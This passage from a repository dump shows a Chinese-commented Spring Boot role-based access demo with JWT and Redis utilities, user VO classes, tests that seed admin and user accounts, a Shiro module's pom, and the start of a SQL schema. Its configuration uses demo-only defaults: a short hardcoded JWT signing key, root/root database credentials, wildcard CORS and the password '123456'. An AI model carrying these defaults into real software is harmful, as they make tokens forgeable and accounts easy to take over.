Token\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        } catch (MalformedJwtException e) {\n            log.error(\"Token 无效\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        } catch (SignatureException e) {\n            log.error(\"无效的 Token 签名\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        } catch (IllegalArgumentException e) {\n            log.error(\"Token 参数不存在\");\n            throw new SecurityException(Status.TOKEN_PARSE_ERROR);\n        }\n    }\n\n    /**\n     * 设置JWT过期\n     *\n     * @param request 请求\n     */\n    public void invalidateJWT(HttpServletRequest request) {\n        String jwt = getJwtFromRequest(request);\n        String username = getUsernameFromJWT(jwt);\n        // 从redis中清除JWT\n        stringRedisTemplate.delete(Consts.REDIS_JWT_KEY_PREFIX + username);\n    }\n\n    /**\n     * 根据 jwt 获取用户名\n     *\n     * @param jwt JWT\n     * @return 用户名\n     */\n    public String getUsernameFromJWT(String jwt) {\n        Claims claims = parseJWT(jwt);\n        return claims.getSubject();\n    }\n\n    /**\n     * 从 request 的 header 中获取 JWT\n     *\n     * @param request 请求\n     * @return JWT\n     */\n    public String getJwtFromRequest(HttpServletRequest request) {\n        String bearerToken = request.getHeader(\"Authorization\");\n        if (StrUtil.isNotBlank(bearerToken) && bearerToken.startsWith(\"Bearer \")) {\n            return bearerToken.substring(7);\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/util/PageUtil.java",
    "content": "package com.jun.plugin.rbac.security.util;\n\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.ReflectUtil;\n\nimport org.springframework.data.domain.PageRequest;\n\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.payload.PageCondition;\n\n/**\n * <p>\n * 分页工具类\n * </p>\n *\n * @package: com.xkcoding.rbac.security.util\n * @description: 分页工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 18:09\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic class PageUtil {\n    /**\n     * 校验分页参数，为NULL，设置分页参数默认值\n     *\n     * @param condition 查询参数\n     * @param clazz     类\n     * @param <T>       {@link PageCondition}\n     */\n    public static <T extends PageCondition> void checkPageCondition(T condition, Class<T> clazz) {\n        if (ObjectUtil.isNull(condition)) {\n            condition = ReflectUtil.newInstance(clazz);\n        }\n        // 校验分页参数\n        if (ObjectUtil.isNull(condition.getCurrentPage())) {\n            condition.setCurrentPage(Consts.DEFAULT_CURRENT_PAGE);\n        }\n        if (ObjectUtil.isNull(condition.getPageSize())) {\n            condition.setPageSize(Consts.DEFAULT_PAGE_SIZE);\n        }\n    }\n\n    /**\n     * 根据分页参数构建{@link PageRequest}\n     *\n     * @param condition 查询参数\n     * @param <T>       {@link PageCondition}\n     * @return {@link PageRequest}\n     */\n    public static <T extends PageCondition> PageRequest ofPageRequest(T condition) {\n        return PageRequest.of(condition.getCurrentPage(), condition.getPageSize());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/util/RedisUtil.java",
    "content": "package com.jun.plugin.rbac.security.util;\n\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.rbac.security.common.PageResult;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.connection.RedisConnection;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.Cursor;\nimport org.springframework.data.redis.core.RedisConnectionUtils;\nimport org.springframework.data.redis.core.ScanOptions;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Collection;\nimport java.util.List;\n\n/**\n * <p>\n * Redis工具类\n * </p>\n *\n * @package: com.xkcoding.rbac.security.util\n * @description: Redis工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-11 20:24\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class RedisUtil {\n    @Autowired\n    private StringRedisTemplate stringRedisTemplate;\n\n    /**\n     * 分页获取指定格式key，使用 scan 命令代替 keys 命令，在大数据量的情况下可以提高查询效率\n     *\n     * @param patternKey  key格式\n     * @param currentPage 当前页码\n     * @param pageSize    每页条数\n     * @return 分页获取指定格式key\n     */\n    public PageResult<String> findKeysForPage(String patternKey, int currentPage, int pageSize) {\n        ScanOptions options = ScanOptions.scanOptions()\n                .match(patternKey)\n                .build();\n        RedisConnectionFactory factory = stringRedisTemplate.getConnectionFactory();\n        RedisConnection rc = factory.getConnection();\n        Cursor<byte[]> cursor = rc.scan(options);\n\n        List<String> result = Lists.newArrayList();\n\n        long tmpIndex = 0;\n        int startIndex = (currentPage - 1) * pageSize;\n        int end = currentPage * pageSize;\n        while (cursor.hasNext()) {\n            String key = new String(cursor.next());\n            if (tmpIndex >= startIndex && tmpIndex < end) {\n                result.add(key);\n            }\n            tmpIndex++;\n        }\n\n        try {\n            cursor.close();\n            RedisConnectionUtils.releaseConnection(rc, factory);\n        } catch (Exception e) {\n            log.warn(\"Redis连接关闭异常，\", e);\n        }\n\n        return new PageResult<>(result, tmpIndex);\n    }\n\n    /**\n     * 删除 Redis 中的某个key\n     *\n     * @param key 键\n     */\n    public void delete(String key) {\n        stringRedisTemplate.delete(key);\n    }\n\n    /**\n     * 批量删除 Redis 中的某些key\n     *\n     * @param keys 键列表\n     */\n    public void delete(Collection<String> keys) {\n        stringRedisTemplate.delete(keys);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/util/ResponseUtil.java",
    "content": "package com.jun.plugin.rbac.security.util;\n\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.rbac.security.common.ApiResponse;\nimport com.jun.plugin.rbac.security.common.BaseException;\nimport com.jun.plugin.rbac.security.common.IStatus;\n\nimport java.io.IOException;\n\n/**\n * <p>\n * Response 通用工具类\n * </p>\n *\n * @package: com.xkcoding.rbac.security.util\n * @description: Response 通用工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 17:37\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class ResponseUtil {\n\n    /**\n     * 往 response 写出 json\n     *\n     * @param response 响应\n     * @param status   状态\n     * @param data     返回数据\n     */\n    public static void renderJson(HttpServletResponse response, IStatus status, Object data) {\n        try {\n            response.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n            response.setHeader(\"Access-Control-Allow-Methods\", \"*\");\n            response.setContentType(\"application/json;charset=UTF-8\");\n            response.setStatus(200);\n\n            // FIXME: hutool 的 BUG：JSONUtil.toJsonStr()\n            //  将JSON转为String的时候，忽略null值的时候转成的String存在错误\n            response.getWriter()\n                    .write(JSONUtil.toJsonStr(new JSONObject(ApiResponse.ofStatus(status, data), false)));\n        } catch (IOException e) {\n            log.error(\"Response写出JSON异常，\", e);\n        }\n    }\n\n    /**\n     * 往 response 写出 json\n     *\n     * @param response  响应\n     * @param exception 异常\n     */\n    public static void renderJson(HttpServletResponse response, BaseException exception) {\n        try {\n            response.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n            response.setHeader(\"Access-Control-Allow-Methods\", \"*\");\n            response.setContentType(\"application/json;charset=UTF-8\");\n            response.setStatus(200);\n\n            // FIXME: hutool 的 BUG：JSONUtil.toJsonStr()\n            //  将JSON转为String的时候，忽略null值的时候转成的String存在错误\n            response.getWriter()\n                    .write(JSONUtil.toJsonStr(new JSONObject(ApiResponse.ofException(exception), false)));\n        } catch (IOException e) {\n            log.error(\"Response写出JSON异常，\", e);\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/util/SecurityUtil.java",
    "content": "package com.jun.plugin.rbac.security.util;\n\nimport cn.hutool.core.util.ObjectUtil;\n\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.security.core.userdetails.UserDetails;\n\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.vo.UserPrincipal;\n\n/**\n * <p>\n * Spring Security工具类\n * </p>\n *\n * @package: com.xkcoding.rbac.security.util\n * @description: Spring Security工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 18:30\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic class SecurityUtil {\n    /**\n     * 获取当前登录用户用户名\n     *\n     * @return 当前登录用户用户名\n     */\n    public static String getCurrentUsername() {\n        UserPrincipal currentUser = getCurrentUser();\n        return ObjectUtil.isNull(currentUser) ? Consts.ANONYMOUS_NAME : currentUser.getUsername();\n    }\n\n    /**\n     * 获取当前登录用户信息\n     *\n     * @return 当前登录用户信息，匿名登录时，为null\n     */\n    public static UserPrincipal getCurrentUser() {\n        Object userInfo = SecurityContextHolder.getContext()\n                .getAuthentication()\n                .getPrincipal();\n        if (userInfo instanceof UserDetails) {\n            return (UserPrincipal) userInfo;\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/vo/JwtResponse.java",
    "content": "package com.jun.plugin.rbac.security.vo;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * <p>\n * JWT 响应返回\n * </p>\n *\n * @package: com.xkcoding.rbac.security.vo\n * @description: JWT 响应返回\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 16:01\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\npublic class JwtResponse {\n    /**\n     * token 字段\n     */\n    private String token;\n    /**\n     * token类型\n     */\n    private String tokenType = \"Bearer\";\n\n    public JwtResponse(String token) {\n        this.token = token;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/vo/OnlineUser.java",
    "content": "package com.jun.plugin.rbac.security.vo;\n\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.model.User;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.util.StrUtil;\nimport lombok.Data;\n\n/**\n * <p>\n * 在线用户 VO\n * </p>\n *\n * @package: com.xkcoding.rbac.security.vo\n * @description: 在线用户 VO\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 00:58\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class OnlineUser {\n\n    /**\n     * 主键\n     */\n    private Long id;\n\n    /**\n     * 用户名\n     */\n    private String username;\n\n    /**\n     * 昵称\n     */\n    private String nickname;\n\n    /**\n     * 手机\n     */\n    private String phone;\n\n    /**\n     * 邮箱\n     */\n    private String email;\n\n    /**\n     * 生日\n     */\n    private Long birthday;\n\n    /**\n     * 性别，男-1，女-2\n     */\n    private Integer sex;\n\n    public static OnlineUser create(User user) {\n        OnlineUser onlineUser = new OnlineUser();\n        BeanUtil.copyProperties(user, onlineUser);\n        // 脱敏\n        onlineUser.setPhone(StrUtil.hide(user.getPhone(), 3, 7));\n        onlineUser.setEmail(StrUtil.hide(user.getEmail(), 1, StrUtil.indexOfIgnoreCase(user.getEmail(), Consts.SYMBOL_EMAIL)));\n        return onlineUser;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/vo/UserPrincipal.java",
    "content": "package com.jun.plugin.rbac.security.vo;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.model.Permission;\nimport com.jun.plugin.rbac.security.model.Role;\nimport com.jun.plugin.rbac.security.model.User;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport org.springframework.security.core.GrantedAuthority;\nimport org.springframework.security.core.authority.SimpleGrantedAuthority;\nimport org.springframework.security.core.userdetails.UserDetails;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 自定义User\n * </p>\n *\n * @package: com.xkcoding.rbac.security.vo\n * @description: 自定义User\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 15:09\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\npublic class UserPrincipal implements UserDetails {\n    /**\n     * 主键\n     */\n    private Long id;\n\n    /**\n     * 用户名\n     */\n    private String username;\n\n    /**\n     * 密码\n     */\n    @JsonIgnore\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickname;\n\n    /**\n     * 手机\n     */\n    private String phone;\n\n    /**\n     * 邮箱\n     */\n    private String email;\n\n    /**\n     * 生日\n     */\n    private Long birthday;\n\n    /**\n     * 性别，男-1，女-2\n     */\n    private Integer sex;\n\n    /**\n     * 状态，启用-1，禁用-0\n     */\n    private Integer status;\n\n    /**\n     * 创建时间\n     */\n    private Long createTime;\n\n    /**\n     * 更新时间\n     */\n    private Long updateTime;\n\n    /**\n     * 用户角色列表\n     */\n    private List<String> roles;\n\n    /**\n     * 用户权限列表\n     */\n    private Collection<? extends GrantedAuthority> authorities;\n\n    public static UserPrincipal create(User user, List<Role> roles, List<Permission> permissions) {\n        List<String> roleNames = roles.stream()\n                .map(Role::getName)\n                .collect(Collectors.toList());\n\n        List<GrantedAuthority> authorities = permissions.stream()\n                .filter(permission -> StrUtil.isNotBlank(permission.getPermission()))\n                .map(permission -> new SimpleGrantedAuthority(permission.getPermission()))\n                .collect(Collectors.toList());\n\n        return new UserPrincipal(user.getId(), user.getUsername(), user.getPassword(), user.getNickname(), user.getPhone(), user.getEmail(), user.getBirthday(), user.getSex(), user.getStatus(), user.getCreateTime(), user.getUpdateTime(), roleNames, authorities);\n    }\n\n    @Override\n    public Collection<? extends GrantedAuthority> getAuthorities() {\n        return authorities;\n    }\n\n    @Override\n    public String getPassword() {\n        return password;\n    }\n\n    @Override\n    public String getUsername() {\n        return username;\n    }\n\n    @Override\n    public boolean isAccountNonExpired() {\n        return true;\n    }\n\n    @Override\n    public boolean isAccountNonLocked() {\n        return true;\n    }\n\n    @Override\n    public boolean isCredentialsNonExpired() {\n        return true;\n    }\n\n    @Override\n    public boolean isEnabled() {\n        return Objects.equals(this.status, Consts.ENABLE);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  datasource:\n    hikari:\n      username: root\n      password: root\n    driver-class-name: com.mysql.cj.jdbc.Driver\n    url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n  jpa:\n    show-sql: true\n    generate-ddl: false\n    hibernate:\n      ddl-auto: validate\n    open-in-view: true\n    properties:\n      hibernate:\n      dialect: org.hibernate.dialect.MySQL57InnoDBDialect\n  resources:\n    add-mappings: false\n  mvc:\n    throw-exception-if-no-handler-found: true\n  redis:\n    host: localhost\n    port: 6379\n    # 连接超时时间（记得添加单位，Duration）\n    timeout: 10000ms\n    # Redis默认情况下有16个分片，这里配置具体使用的分片\n    # database: 0\n    lettuce:\n      pool:\n        # 连接池最大连接数（使用负值表示没有限制） 默认 8\n        max-active: 8\n        # 连接池最大阻塞等待时间（使用负值表示没有限制） 默认 -1\n        max-wait: -1ms\n        # 连接池中的最大空闲连接 默认 8\n        max-idle: 8\n        # 连接池中的最小空闲连接 默认 0\n        min-idle: 0\njwt:\n  config:\n    key: xkcoding\n    ttl: 600000\n    remember: 604800000\nlogging:\n  level:\n    com.jun.plugin.rbac.security: debug\ncustom:\n  config:\n    ignores:\n      # 需要过滤的 post 请求\n      post:\n        - \"/api/auth/login\"\n        - \"/api/auth/logout\"\n      # 需要过滤的请求，不限方法\n      pattern:\n        - \"/test/*\""
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/test/java/com/jun/plugin/rbac/security/SpringBootDemoRbacSecurityApplicationTests.java",
    "content": "package com.jun.plugin.rbac.security;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoRbacSecurityApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/test/java/com/jun/plugin/rbac/security/repository/DataInitTest.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport cn.hutool.core.date.DateTime;\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.lang.Snowflake;\n\nimport com.jun.plugin.rbac.security.SpringBootDemoRbacSecurityApplicationTests;\nimport com.jun.plugin.rbac.security.model.*;\nimport com.jun.plugin.rbac.security.model.unionkey.RolePermissionKey;\nimport com.jun.plugin.rbac.security.model.unionkey.UserRoleKey;\nimport com.jun.plugin.rbac.security.repository.PermissionDao;\nimport com.jun.plugin.rbac.security.repository.RoleDao;\nimport com.jun.plugin.rbac.security.repository.RolePermissionDao;\nimport com.jun.plugin.rbac.security.repository.UserDao;\nimport com.jun.plugin.rbac.security.repository.UserRoleDao;\n\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\n\n/**\n * <p>\n * 数据初始化测试\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: 数据初始化测试\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 11:26\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic class DataInitTest extends SpringBootDemoRbacSecurityApplicationTests {\n    @Autowired\n    private UserDao userDao;\n\n    @Autowired\n    private RoleDao roleDao;\n\n    @Autowired\n    private PermissionDao permissionDao;\n\n    @Autowired\n    private UserRoleDao userRoleDao;\n\n    @Autowired\n    private RolePermissionDao rolePermissionDao;\n\n    @Autowired\n    private Snowflake snowflake;\n\n    @Autowired\n    private BCryptPasswordEncoder encoder;\n\n    @Test\n    public void initTest() {\n        init();\n    }\n\n    private void init() {\n        User admin = createUser(true);\n        User user = createUser(false);\n\n        Role roleAdmin = createRole(true);\n        Role roleUser = createRole(false);\n\n        createUserRoleRelation(admin.getId(), roleAdmin.getId());\n        createUserRoleRelation(user.getId(), roleUser.getId());\n\n        // 页面权限\n        Permission testPagePerm = createPermission(\"/test\", \"测试页面\", 1, \"page:test\", null, 1, 0L);\n        // 按钮权限\n        Permission testBtnQueryPerm = createPermission(\"/**/test\", \"测试页面-查询\", 2, \"btn:test:query\", \"GET\", 1, testPagePerm.getId());\n        Permission testBtnPermInsert = createPermission(\"/**/test\", \"测试页面-添加\", 2, \"btn:test:insert\", \"POST\", 2, testPagePerm.getId());\n\n        Permission monitorOnlinePagePerm = createPermission(\"/monitor\", \"监控在线用户页面\", 1, \"page:monitor:online\", null, 2, 0L);\n        Permission monitorOnlineBtnQueryPerm = createPermission(\"/**/api/monitor/online/user\", \"在线用户页面-查询\", 2, \"btn:monitor:online:query\", \"GET\", 1, monitorOnlinePagePerm.getId());\n        Permission monitorOnlineBtnKickoutPerm = createPermission(\"/**/api/monitor/online/user/kickout\", \"在线用户页面-踢出\", 2, \"btn:monitor:online:kickout\", \"DELETE\", 2, monitorOnlinePagePerm.getId());\n\n        createRolePermissionRelation(roleAdmin.getId(), testPagePerm.getId());\n        createRolePermissionRelation(roleUser.getId(), testPagePerm.getId());\n        createRolePermissionRelation(roleAdmin.getId(), testBtnQueryPerm.getId());\n        createRolePermissionRelation(roleUser.getId(), testBtnQueryPerm.getId());\n        createRolePermissionRelation(roleAdmin.getId(), testBtnPermInsert.getId());\n        createRolePermissionRelation(roleAdmin.getId(), monitorOnlinePagePerm.getId());\n        createRolePermissionRelation(roleAdmin.getId(), monitorOnlineBtnQueryPerm.getId());\n        createRolePermissionRelation(roleAdmin.getId(), monitorOnlineBtnKickoutPerm.getId());\n    }\n\n    private void createRolePermissionRelation(Long roleId, Long permissionId) {\n        RolePermission adminPage = new RolePermission();\n        RolePermissionKey adminPageKey = new RolePermissionKey();\n        adminPageKey.setRoleId(roleId);\n        adminPageKey.setPermissionId(permissionId);\n        adminPage.setId(adminPageKey);\n        rolePermissionDao.save(adminPage);\n    }\n\n    private Permission createPermission(String url, String name, Integer type, String permission, String method, Integer sort, Long parentId) {\n        Permission perm = new Permission();\n        perm.setId(snowflake.nextId());\n        perm.setUrl(url);\n        perm.setName(name);\n        perm.setType(type);\n        perm.setPermission(permission);\n        perm.setMethod(method);\n        perm.setSort(sort);\n        perm.setParentId(parentId);\n        permissionDao.save(perm);\n        return perm;\n    }\n\n    private void createUserRoleRelation(Long userId, Long roleId) {\n        UserRole userRole = new UserRole();\n        UserRoleKey key = new UserRoleKey();\n        key.setUserId(userId);\n        key.setRoleId(roleId);\n        userRole.setId(key);\n        userRoleDao.save(userRole);\n    }\n\n    private Role createRole(boolean isAdmin) {\n        Role role = new Role();\n        role.setId(snowflake.nextId());\n        role.setName(isAdmin ? \"管理员\" : \"普通用户\");\n        role.setDescription(isAdmin ? \"超级管理员\" : \"普通用户\");\n        role.setCreateTime(DateUtil.current(false));\n        role.setUpdateTime(DateUtil.current(false));\n        roleDao.save(role);\n        return role;\n    }\n\n    private User createUser(boolean isAdmin) {\n        User user = new User();\n        user.setId(snowflake.nextId());\n        user.setUsername(isAdmin ? \"admin\" : \"user\");\n        user.setNickname(isAdmin ? \"管理员\" : \"普通用户\");\n        user.setPassword(encoder.encode(\"123456\"));\n        user.setBirthday(DateTime.of(\"1994-11-22\", \"yyyy-MM-dd\")\n                .getTime());\n        user.setEmail((isAdmin ? \"admin\" : \"user\") + \"@xkcoding.com\");\n        user.setPhone(isAdmin ? \"17300000000\" : \"17300001111\");\n        user.setSex(1);\n        user.setStatus(1);\n        user.setCreateTime(DateUtil.current(false));\n        user.setUpdateTime(DateUtil.current(false));\n        userDao.save(user);\n        return user;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/test/java/com/jun/plugin/rbac/security/repository/UserDaoTest.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport com.jun.plugin.rbac.security.SpringBootDemoRbacSecurityApplicationTests;\nimport com.jun.plugin.rbac.security.model.User;\nimport com.jun.plugin.rbac.security.repository.UserDao;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.assertj.core.util.Lists;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport java.util.List;\nimport java.util.Optional;\n\n/**\n * <p>\n * UserDao 测试\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: UserDao 测试\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 01:10\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class UserDaoTest extends SpringBootDemoRbacSecurityApplicationTests {\n    @Autowired\n    private UserDao userDao;\n\n    @Test\n    public void findByUsernameIn() {\n        List<String> usernameList = Lists.newArrayList(\"admin\", \"user\");\n        List<User> userList = userDao.findByUsernameIn(usernameList);\n        Assert.assertEquals(2, userList.size());\n        log.info(\"【userList】= {}\", userList);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/test/java/com/jun/plugin/rbac/security/util/RedisUtilTest.java",
    "content": "package com.jun.plugin.rbac.security.util;\n\nimport cn.hutool.json.JSONUtil;\n\nimport com.jun.plugin.rbac.security.SpringBootDemoRbacSecurityApplicationTests;\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.common.PageResult;\nimport com.jun.plugin.rbac.security.util.RedisUtil;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\n\n/**\n * <p>\n * 测试RedisUtil\n * </p>\n *\n * @package: com.xkcoding.rbac.security.util\n * @description: 测试RedisUtil\n * @author: yangkai.shen\n * @date: Created in 2018-12-11 20:44\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class RedisUtilTest extends SpringBootDemoRbacSecurityApplicationTests {\n    @Autowired\n    private RedisUtil redisUtil;\n\n    @Test\n    public void findKeysForPage() {\n        PageResult pageResult = redisUtil.findKeysForPage(Consts.REDIS_JWT_KEY_PREFIX + Consts.SYMBOL_STAR, 2, 1);\n        log.info(\"【pageResult】= {}\", JSONUtil.toJsonStr(pageResult));\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_rbac_shiro</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n    <name>springboot_rbac_shiro</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-undertow</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>3.1.0</version>\n        </dependency>\n        <!--执行 SQL 分析打印-->\n        <dependency>\n            <groupId>p6spy</groupId>\n            <artifactId>p6spy</artifactId>\n            <version>3.8.1</version>\n        </dependency>\n\n        <!--shiro-->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-spring-boot-starter</artifactId>\n            <version>1.4.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_rbac_shiro</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/sql/shiro.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : 本机\n Source Server Type    : MySQL\n Source Server Version : 50718\n Source Host           : localhost:3306\n Source Schema         : spring-boot-demo\n\n Target Server Type    : MySQL\n Target Server Version : 50718\n File Encoding         : 65001\n\n Date: 12/12/2018 18:52:51\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for sec_user\n-- ----------------------------\nDROP TABLE IF EXISTS `shiro_user`;\nCREATE TABLE `shiro_user`\n(\n  `id`          bigint(64)  NOT NULL COMMENT '主键',\n  `username`    varchar(50) NOT NULL COMMENT '用户名',\n  `password`    varchar(60) NOT NULL COMMENT '密码',\n  `salt`        varchar(60) NOT NULL COMMENT '盐值',\n  `nickname`    varchar(255)         DEFAULT NULL COMMENT '昵称',\n  `phone`       varchar(11)          DEFAULT NULL COMMENT '手机',\n  `email`       varchar(50)          DEFAULT NULL COMMENT '邮箱',\n  `birthday`    bigint(13)           DEFAULT NULL COMMENT '生日',\n  `sex`         int(2)               DEFAULT NULL COMMENT '性别，男-1，女-2',\n  `status`      int(2)      NOT NULL DEFAULT '1' COMMENT '状态，启用-1，禁用-0',\n  `create_time` bigint(13)  NOT NULL COMMENT '创建时间',\n  `update_time` bigint(13)  NOT NULL COMMENT '更新时间',\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `username` (`username`),\n  UNIQUE KEY `phone` (`phone`),\n  UNIQUE 